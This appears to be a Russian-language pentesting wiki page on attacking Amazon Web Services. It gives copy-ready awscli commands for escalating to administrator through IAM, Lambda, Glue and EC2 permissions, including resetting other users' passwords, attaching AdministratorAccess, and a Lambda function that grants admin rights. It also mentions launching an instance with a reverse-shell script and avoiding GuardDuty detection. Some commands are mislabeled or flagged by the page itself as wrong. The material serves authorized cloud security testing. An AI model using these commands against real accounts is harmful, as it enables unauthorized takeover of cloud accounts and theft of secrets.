Aws
AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.
Содержание
- 1 Организационные моменты
- 2 Общие концепции
- 3 Ролевая модель
- 4 Службы
- 4.1 IAM
- 4.1.1 Роли - повышение привилегий
- 4.1.2 Роли - повышение до админа
- 4.1.2.1 iam:AddUserToGroup
- 4.1.2.2 iam:PutUserPolicy
- 4.1.2.3 iam:CreateLoginProfile
- 4.1.2.4 iam:UpdateLoginProfile
- 4.1.2.5 iam:AttachGroupPolicy
- 4.1.2.6 iam:AttachRolePolicy
- 4.1.2.7 iam:CreatePolicy
- 4.1.2.8 iam:AddUserToGroup
- 4.1.2.9 iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
- 4.1.2.10 iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
- 4.2 Lambda
- 4.3 Glue
- 4.4 S3
- 4.5 CloudFront
- 4.6 EC2 (Elastic Compute Cloud)
- 4.7 ES (ElasticSearch)
- 4.8 ELB (Elastic Load Balancing)
- 4.9 RDS (Relational Database Service)
- 4.10 Route 53
- 4.11 API Gateway
- 4.12 CloudSearch
- 4.13 Transfer Family
- 4.14 IoT (Internet Of Things)
- 4.15 MQ
- 4.16 MSK (Managed Streaming for Apache Kafka)
- 4.17 Cloud9
- 4.18 MediaStore
- 4.19 Kinesis Video Streams
- 4.20 Elemental MediaConvert
- 4.21 Elemental MediaPackage
- 4.1 IAM
- 5 Утилиты
- 6 Ссылки
Организационные моменты
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/
Общие концепции
Службы
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.
Это экосистема многих сервисов. И AWS стремится увеличить их количество.
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.
Регионы
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.
Название региона | Endpoint(HTTPS) |
us-east-2 | rds.us-east-2.amazonaws.com
rds-fips.us-east-2.api.aws rds.us-east-2.api.aws rds-fips.us-east-2.amazonaws.com |
us-east-1 | rds.us-east-1.amazonaws.com
rds-fips.us-east-1.api.aws rds-fips.us-east-1.amazonaws.com rds.us-east-1.api.aws |
us-west-1 | rds.us-west-1.amazonaws.com
rds.us-west-1.api.aws rds-fips.us-west-1.amazonaws.com rds-fips.us-west-1.api.aws |
us-west-2 | rds.us-west-2.amazonaws.com
rds-fips.us-west-2.amazonaws.com rds.us-west-2.api.aws rds-fips.us-west-2.api.aws |
af-south-1 | rds.af-south-1.amazonaws.com
rds.af-south-1.api.aws |
ap-east-1 | rds.ap-east-1.amazonaws.com
rds.ap-east-1.api.aws |
ap-southeast-3 | rds.ap-southeast-3.amazonaws.com |
ap-south-1 | rds.ap-south-1.amazonaws.com
rds.ap-south-1.api.aws |
ap-northeast-3 | rds.ap-northeast-3.amazonaws.com
rds.ap-northeast-3.api.aws |
ap-northeast-2 | rds.ap-northeast-2.amazonaws.com
rds.ap-northeast-2.api.aws |
ap-southeast-1 | rds.ap-southeast-1.amazonaws.com
rds.ap-southeast-1.api.aws |
ap-southeast-2 | rds.ap-southeast-2.amazonaws.com
rds.ap-southeast-2.api.aws |
ap-northeast-1 | rds.ap-northeast-1.amazonaws.com
rds.ap-northeast-1.api.aws |
ca-central-1 | rds.ca-central-1.amazonaws.com
rds.ca-central-1.api.aws rds-fips.ca-central-1.api.aws rds-fips.ca-central-1.amazonaws.com |
eu-central-1 | rds.eu-central-1.amazonaws.com
rds.eu-central-1.api.aws |
eu-west-1 | rds.eu-west-1.amazonaws.com
rds.eu-west-1.api.aws |
eu-west-2 | rds.eu-west-2.amazonaws.com
rds.eu-west-2.api.aws |
eu-south-1 | rds.eu-south-1.amazonaws.com
rds.eu-south-1.api.aws |
eu-west-3 | rds.eu-west-3.amazonaws.com
rds.eu-west-3.api.aws |
eu-north-1 | rds.eu-north-1.amazonaws.com
rds.eu-north-1.api.aws |
me-south-1 | rds.me-south-1.amazonaws.com
rds.me-south-1.api.aws |
sa-east-1 | rds.sa-east-1.amazonaws.com
rds.sa-east-1.api.aws |
us-gov-east-1 | rds.us-gov-east-1.amazonaws.com |
us-gov-west-1 | rds.us-gov-west-1.amazonaws.com |
Или только регионы (могут пригодиться при переборе):
us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1
Доступы
Консольная утилита(awscli)
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.
Утилита работает с настроенными профилями.
Файлы
~/.aws/credentials
Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.
У каждого профиля будет указан:
- Access Key ID
- Access Key
- Access Token - не всегда указывается
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings
Пример содержимого файла (сохранен профиль default):
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk
~/.aws/config
Файл с региональными настройками профиля(регион по-умолчанию).
[default]
region=us-west-2
output=json
~/.aws/cli/cache
Закешированные учетные данные
~/.aws/sso/cache
Закешированные данные Single-Sign-On
Команды
Общее построение команды выглядит как:
aws <название_сервиса> <действие> <дополнительные_аргументы>
Примеры:
# Вывести все S3-хранилища.
aws s3 ls
# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2
Ролевая модель
Почти все описание доступа идет через роли.
Каждая роль состоит из следующих компонентов:
- Ресурс - цель, кому выдается правило. Может быть:
- Пользователь
- Группа, в которой могут быть аккаунты по какому то признаку
- Другая роль.
- Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
- Тип правила(Effect) - разрешение или запрет.
- Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
- Условия(Condition) - отдельные условия, например, ip.
Пример политики:
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:GetGroup",
"iam:GetLoginProfile",
"iam:GetUser",
"iam:ListAccessKeys",
"iam:ListAccountAliases",
"iam:ListGroupPolicies",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:ListMFADevices",
"iam:ListSigningCertificates",
"iam:ListUsers",
"iam:GetServerCertificate",
"iam:ListServerCertificates",
],
"Resource": "*"
}
]
Определение ролей
Вручную
TODO команды по определению своих ролей
Автоматизированно
Эксплуатация
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.
Административный доступ
Как выглядит роль с административным доступом:
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}
]
Службы
IAM
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.
Роли - повышение привилегий
iam:UpdateLoginProfile
Сбросить пароль у других пользователей:
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:PassRole + ec2:RunInstance
См. EC2
iam:PassRole + glue:CreateDevEndpoint
См. Glue
Роли - повышение до админа
iam:AddUserToGroup
Добавить юзера в административную группу:
aws iam add-user-to-group --group-name <название_группы> --user-name <логин>
iam:PutUserPolicy
Право добавить своб политику к ранее скомпрометированным обьектам.
aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json
iam:CreateLoginProfile
Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required
iam:UpdateLoginProfile
Добавить существующую политику к любому пользователю.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachGroupPolicy
Добавить существующую политику к любой группе.
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:AttachRolePolicy
Добавить существующую политику к любой роли.
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
iam:CreatePolicy
Создать административную политику.
iam:AddUserToGroup
Добавить пользователя в группу администраторов:
aws iam add-user-to-group --group-name target_group --user-name my_username
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.
# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
См. EC2
Lambda
Сервис для запуска своего кода в облаке.
Роли - повышение привилегий
lambda:UpdateFunctionCode
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip
lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.
Код функции:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
Команды для запуска:
# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt
Роли - управление
lambda:GetFunction
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):
# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
Glue
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.
Роли - повышение привилегий
glue:UpdateDevEndpoint
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:
# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub
glue:CreateDevEndpoint + iam:PassRole
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub
S3
Файловое хранилище.
Формат ссылки:
https://{user_provided}.s3.amazonaws.com
CloudFront
Сервис сети доставки контента (CDN).
Формат ссылки:
https://{random_id}.cloudfront.net
EC2 (Elastic Compute Cloud)
EC2 (Amazon Elastic Compute Cloud) == VPS
Формат ссылки:
ec2-{ip-seperated}.compute-1.amazonaws.com
Роли - повышение привилегий
ec2:RunInstance + iam:PassRole
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.
1. Запуск машины c новой прикрепленной ролью
2. Подключение к ней
3. Работа с прикрепленной ролью
Создание EC2 с известным SSH-ключем:
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456
Второй вариант - скрипт для запуска: aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh </syntaxhighlight>
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.
Роли - повышение до админа
ec2:AssociateIamInstanceProfile
Позволяет менять IAM политики/роли/пользователей
ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.
Роли - управление
ES (ElasticSearch)
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.
Формат ссылки:
https://{user_provided}-{random_id}.{region}.es.amazonaws.com
ELB (Elastic Load Balancing)
Балансировщик нагрузки.
Формат ссылки (elb_v1):
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
Формат ссылки (elb_v2):
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
RDS (Relational Database Service)
Облачная реляционная база данных (на выбор).
Формат ссылки:
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
Route 53
Настраиваемая служба DNS.
Формат ссылки:
{user_provided}
API Gateway
API-сервис, который будет доступен почти со всех серверов.
Формат ссылки:
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
CloudSearch
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.
Формат ссылки:
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com
Transfer Family
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).
Формат ссылки:
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com
IoT (Internet Of Things)
Сервис для управления IoT-устройствами.
Формат ссылки:
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
MQ
Сервис брокера сообщений для Apache ActiveMQ & RabbitMQ.
Формат ссылки:
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
MSK (Managed Streaming for Apache Kafka)
Сервис потоковой передачи данных в Apache Kafka.
Формат ссылки:
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
Cloud9
Облачная интегрированная среда разработки(IDE) используя только браузер.
Формат ссылки:
https://{random_id}.vfs.cloud9.{region}.amazonaws.com
MediaStore
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.
Формат ссылки:
https://{random_id}.data.mediastore.{region}.amazonaws.com
Kinesis Video Streams
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.
Формат ссылки:
https://{random_id}.kinesisvideo.{region}.amazonaws.com
Elemental MediaConvert
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.
Формат ссылки:
https://{random_id}.mediaconvert.{region}.amazonaws.com
Elemental MediaPackage
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.
Формат ссылки:
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
Утилиты
Вычисление ролей
enumerate-iam
github.com:andresriancho/enumerate-iam.git
Эксплуатация
Другое
aws_consoler
https://github.com/NetSPI/aws_consoler
All-In-One
pacu
ScoutSuite
https://github.com/nccgroup/ScoutSuite
Ссылки
Статьи
Лаборатории
Damn Vulnerable Cloud Application